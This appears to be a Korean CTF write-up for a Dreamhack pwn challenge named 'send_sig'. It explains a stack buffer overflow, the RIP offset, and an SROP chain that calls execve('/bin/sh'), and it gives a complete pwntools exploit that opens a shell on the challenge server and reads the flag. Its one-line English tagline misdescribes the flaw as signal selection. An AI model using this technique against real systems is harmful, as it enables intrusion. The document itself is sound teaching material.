send_sig

The program forwards a signal number straight to the kernel; the exploit is choosing the right one.

2026.08.18 Pwn original post

문제 개요

문제 설명은 다음과 같다.

서버로 signal을 보낼 수 있는 프로그램입니다! 프로그램의 취약점을 찾고, 익스플로잇해 flag를 읽어보세요. flag는 /home/send_sig/flag.txt 에 있습니다.

처음 프로그램을 실행하면 다음과 같은 화면이 출력된다.

++++++++++++++++++Welcome to dreamhack++++++++++++++++++
+     You can send a signal to dreamhack server.       +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Signal:

문제 이름이 send_sig 이고 입력 프롬프트가 Signal: 이기 때문에, 처음에는 단순히 특정 signal 번호를 보내는 문제처럼 보인다. 하지만 바이너리를 분석해보면 실제 핵심은 stack buffer overflow 와 SROP(Sigreturn Oriented Programming) 이다.

취약점 분석

바이너리는 stripped 상태라서 main 심볼이 보이지 않았다. 그래서 disassembly 를 통해 주요 코드를 확인했다.

4010ba: 55                    push rbp
4010bb: 48 89 e5              mov  rbp, rsp
4010be: 48 83 ec 10           sub  rsp, 16
4010c2: ba 07 00 00 00        mov  edx, 7
4010c7: 48 8d 35 3a 0f 00 00  lea  rsi, [rip + 3898]   # 0x402008
4010ce: bf 01 00 00 00        mov  edi, 1
4010d8: e8 73 ff ff ff        call write
4010dd: 48 8d 45 f8           lea  rax, [rbp - 8]
4010e1: ba 00 04 00 00        mov  edx, 1024
4010e6: 48 89 c6              mov  rsi, rax
4010e9: bf 00 00 00 00        mov  edi, 0
4010f3: e8 68 ff ff ff        call read
4010f9: c9                    leave
4010fa: c3                    ret

이 부분을 C 코드처럼 해석하면 대략 다음과 같다.

void vuln() {
    char buf[8];
    write(1, "Signal:", 7);
    read(0, buf, 1024);
}

여기서 buf 는 rbp - 0x8 위치에 있다 (lea rax, [rbp - 8]). 그런데 read() 는 최대 1024바이트를 입력받는다 (mov edx, 1024). 즉, 8바이트짜리 버퍼에 1024바이트를 입력받는 stack buffer overflow 가 발생한다.

Offset 구하기

이번 문제에서 가장 중요한 부분은 return address 까지의 offset 을 구하는 것이다. 입력 버퍼는 buf = rbp - 0x8 에 있고, 함수의 stack 구조는 다음과 같다.

rbp - 0x8  → 입력 버퍼 시작
rbp        → saved rbp
rbp + 0x8  → return address

우리가 덮고 싶은 것은 return address 이므로, 입력 버퍼 시작 위치부터 return address 까지의 거리를 계산한다.

return address - buf = (rbp + 0x8) - (rbp - 0x8) = 0x10 = 16 bytes

따라서 RIP offset 은 16바이트이다. 입력값은 다음과 같이 들어간다.

입력  0~7  바이트 → buf
입력  8~15 바이트 → saved rbp
입력 16~23 바이트 → return address

따라서 payload 의 기본 구조는 b"A" * 16 + p64(덮어쓸_주소) 가 된다.

/bin/sh 문자열 확인

strings 명령어로 바이너리 안의 문자열을 확인했다.

strings -a -t x ./send_sig

결과 중 /bin/sh 문자열이 존재했다.

2000 /bin/sh
2008 Signal:

바이너리가 No PIE 이므로 .rodata 의 주소는 고정되어 있다. 따라서 /bin/sh 문자열의 실제 주소는 0x402000 으로 사용할 수 있다.

SROP 개념

SROP 는 rt_sigreturn syscall 을 이용해 레지스터 값을 한 번에 조작하는 기법이다. Linux x86-64 에서 중요한 syscall 번호는 다음과 같다.

rt_sigreturn = 15
execve       = 59

우리는 먼저 rax 를 15로 설정한 뒤 syscall 을 실행한다. 그러면 커널은 현재 stack 에 있는 fake sigreturn frame 을 읽고, 그 안에 있는 값으로 레지스터들을 복구한다. 이 fake frame 안에 다음 값을 넣으면:

rax = 59
rdi = 0x402000
rsi = 0
rdx = 0
rip = 0x4010b0

최종적으로 execve("/bin/sh", 0, 0); 이 실행된다. 즉, shell 을 얻을 수 있다.

Exploit 작성

최종 exploit 코드는 다음과 같다.

from pwn import *

context.arch = "amd64"

HOST = "host8.dreamhack.games"
PORT = 9132

pop_rax_ret = 0x4010ae
syscall_ret = 0x4010b0
bin_sh      = 0x402000

p = remote(HOST, PORT)

frame = SigreturnFrame()
frame.rax = 59          # execve
frame.rdi = bin_sh      # "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload  = b"A" * 16
payload += p64(pop_rax_ret)
payload += p64(15)              # rt_sigreturn
payload += p64(syscall_ret)
payload += bytes(frame)

p.sendafter(b"Signal:", payload)
p.sendline(b"cat /home/send_sig/flag.txt")
p.interactive()

Payload 구조 정리

payload 는 다음과 같은 구조이다.

"A" * 16              → return address까지 도달하기 위한 padding
pop rax ; ret         → rax 값을 조작하기 위한 gadget
15                    → rt_sigreturn syscall 번호
syscall ; ret         → rt_sigreturn 실행
fake sigreturn frame  → execve("/bin/sh", 0, 0)를 실행하기 위한 레지스터 상태

fake sigreturn frame 에는 다음 값이 들어간다.

rax = 59          # execve
rdi = 0x402000    # "/bin/sh"
rsi = 0
rdx = 0
rip = 0x4010b0    # syscall ; ret